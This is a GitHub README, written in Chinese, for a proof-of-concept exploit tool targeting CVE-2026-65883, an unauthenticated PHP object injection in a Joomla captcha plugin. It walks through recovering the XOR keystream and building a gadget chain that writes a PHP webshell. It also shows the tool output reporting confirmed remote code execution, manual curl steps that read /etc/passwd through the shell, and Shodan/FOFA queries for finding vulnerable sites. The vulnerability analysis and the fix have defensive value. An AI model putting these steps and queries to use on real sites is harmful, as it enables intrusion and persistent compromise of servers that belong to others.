shinthink/CVE-2026-65883
GitHub: shinthink/CVE-2026-65883
针对 Joomla Aimy Captcha-Less Form Guard 组件 PHP 对象注入漏洞(CVE-2026-65883)的概念验证与利用工具。
Stars: 0 | Forks: 0
CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0
clfgd 字段 → XOR 恢复 → unserialize() → FormattedtextLogger → RCE
## 概述 Joomla 的 Aimy Captcha-Less Form Guard 中存在未经身份验证的 PHP Object Injection。`onCheckAnswer()` 方法会对攻击者控制的 `clfgd` POST 字段进行 base64 解码,通过重复密钥 XOR 进行处理,并将结果直接传递给 `unserialize()` —— **没有 HMAC,没有 allowed_classes 限制,也没有完整性检查**。 | 字段 | 详情 | |-------|--------| | **CVE** | CVE-2026-65883 | | **产品** | Aimy Captcha-Less Form Guard (Joomla 插件) | | **CVSS 4.0** | **10.0 (严重)** | | **类型** | CWE-502 — 不可信数据反序列化 | | **受影响版本** | 18.0 — 20.0 | | **已修复** | 20.1 (2026年7月29日) | | **发现者** | Valentin Lobstein (Chocapikk) / VulnCheck — 2026年7月26日 | ## 受影响版本 | 状态 | 版本 | |--------|---------| | **存在漏洞** | 18.0 — 20.0 | | **已修复** | 20.1 (2026年7月29日) | ## 漏洞机制 ### 根本原因 `plg_captcha_aimycaptchalessformguard` 中的 `onCheckAnswer()` 方法将攻击者控制的输入直接传递给 `unserialize()`: ``` // onCheckAnswer() — pre-20.1 $cld = false; if (($clfgd = $input->get('clfgd', '', 'RAW'))) { $cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) ); } ``` XOR “加密”是带有会话密钥的 Vigenère 密码 —— 没有身份验证,只有混淆。 ### 被破坏的加密 ``` // XorHelper::crypt() — repeating-key XOR, period 231 static public function crypt($bytes, $key) { $ekey = str_split(self::getHashedKey($key)); // sha512.sha256.sha1 = 232 hex $s = str_split(strVal($bytes)); $klen = count($ekey); for ($i = 0; $i < count($s); $i++) { $val .= $s[$i] ^ $ekey[$i % ($klen - 1)]; // period 231 } return $val; } ``` ### 密钥流恢复 该插件在同一个 HTML 响应中渲染**密文和明文**: ``` // onDisplay() $cld->trap_ids = array($id, $trap_id); // readable from HTML $cld->mt = time() + 7; // known (server time + 7s) $html .= ''; ``` 由于 `trap_ids`(从 `` 和蜜罐输入中提取)和密文都在 HTML 中,对它们进行 XOR 运算可以恢复 231 字节密钥流中的约 94 个字节。 ### 攻击流程 1. **GET** 请求任何受 captcha 保护的表单(注册、登录、联系、密码重置) 2. **提取** `clfgd` 密文 + `trap_ids` + 时间戳 → 恢复 94 字节的密钥流 3. **对齐** `FormattedtextLogger` 序列化对象,使结构字节落在已知的密钥流位置上 4. **POST** 构造的 `clfgd` → `unserialize()` → `__destruct()` → `formatLine()` → 写入 PHP webshell 5. **GET** `/random.php?c=id` → **以 www-data 身份执行 RCE** ## 概念验证 ### 单个目标 ``` $ python cve_2026_65883.py -t target.com Target : target.com Status : Aimy Captcha-Less Form Guard v20.0 Form : /index.php?option=com_users&view=registration Keystream : 94 bytes recovered Shell : a1b2c3d4e5.php Gadget : 1460 bytes POST : HTTP 303 Shell URL : https://target.com/a1b2c3d4e5.php RCE : CONFIRMED! RCE ACHIEVED! https://target.com/a1b2c3d4e5.php?c=id ``` ### 手动利用 ``` # 步骤 1 — 获取表单 + 恢复 keystream curl -sk "https://target.com/index.php?option=com_users&view=registration" \ | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin # 步骤 2 — 构建 FormattedtextLogger gadget + XOR 加密 python cve_2026_65883.py -t target.com -c "id" # 步骤 3 — 访问 webshell curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd" ``` ## FOFA / Shodan ``` # Aimy Captcha 隐藏字段 body="clfgd" && body="Joomla" # 插件版本泄露 body="aimycaptchalessformguard" # Shodan http.html:"clfgd" http.component:"Joomla" ``` ## 修复方案 (20.1) ``` // 20.0 (vulnerable) $cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) ); // 20.1 (fixed) $cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) ); ``` `json_decode()` 无法实例化 PHP 对象 —— POP 利用链被切断。 ## 影响 - **完全 RCE** — 以 www-data 身份执行任意命令 - **无需身份验证** — 任何带有 captcha 的公共表单都是攻击向量 - **Joomla 3.9–5.2.1** — FormattedtextLogger gadget 适用于所有版本 - **持久性** — webshell 将保留直到被手动删除 ## 免责声明 ## 参考 | 资源 | 链接 | |----------|------| | VulnCheck 博客 | [vulncheck.com/blog/aimy-captcha-less-form-guard-object-injection](https://www.vulncheck.com/blog/aimy-captcha-less-form-guard-object-injection) | | IONIX 威胁中心 | [ionix.io/threat-center/cve-2026-65883](https://www.ionix.io/threat-center/cve-2026-65883/) | | CVE 记录 | [cve.org/CVERecord?id=CVE-2026-65883](https://www.cve.org/CVERecord?id=CVE-2026-65883) | | NVD | [nvd.nist.gov/vuln/detail/CVE-2026-65883](https://nvd.nist.gov/vuln/detail/CVE-2026-65883) |与 Aimy Extensions 或 VulnCheck 无关。
标签:CISA项目, Joomla插件, PHP反序列化, XOR解密, 编程工具, 远程代码执行, 逆向工具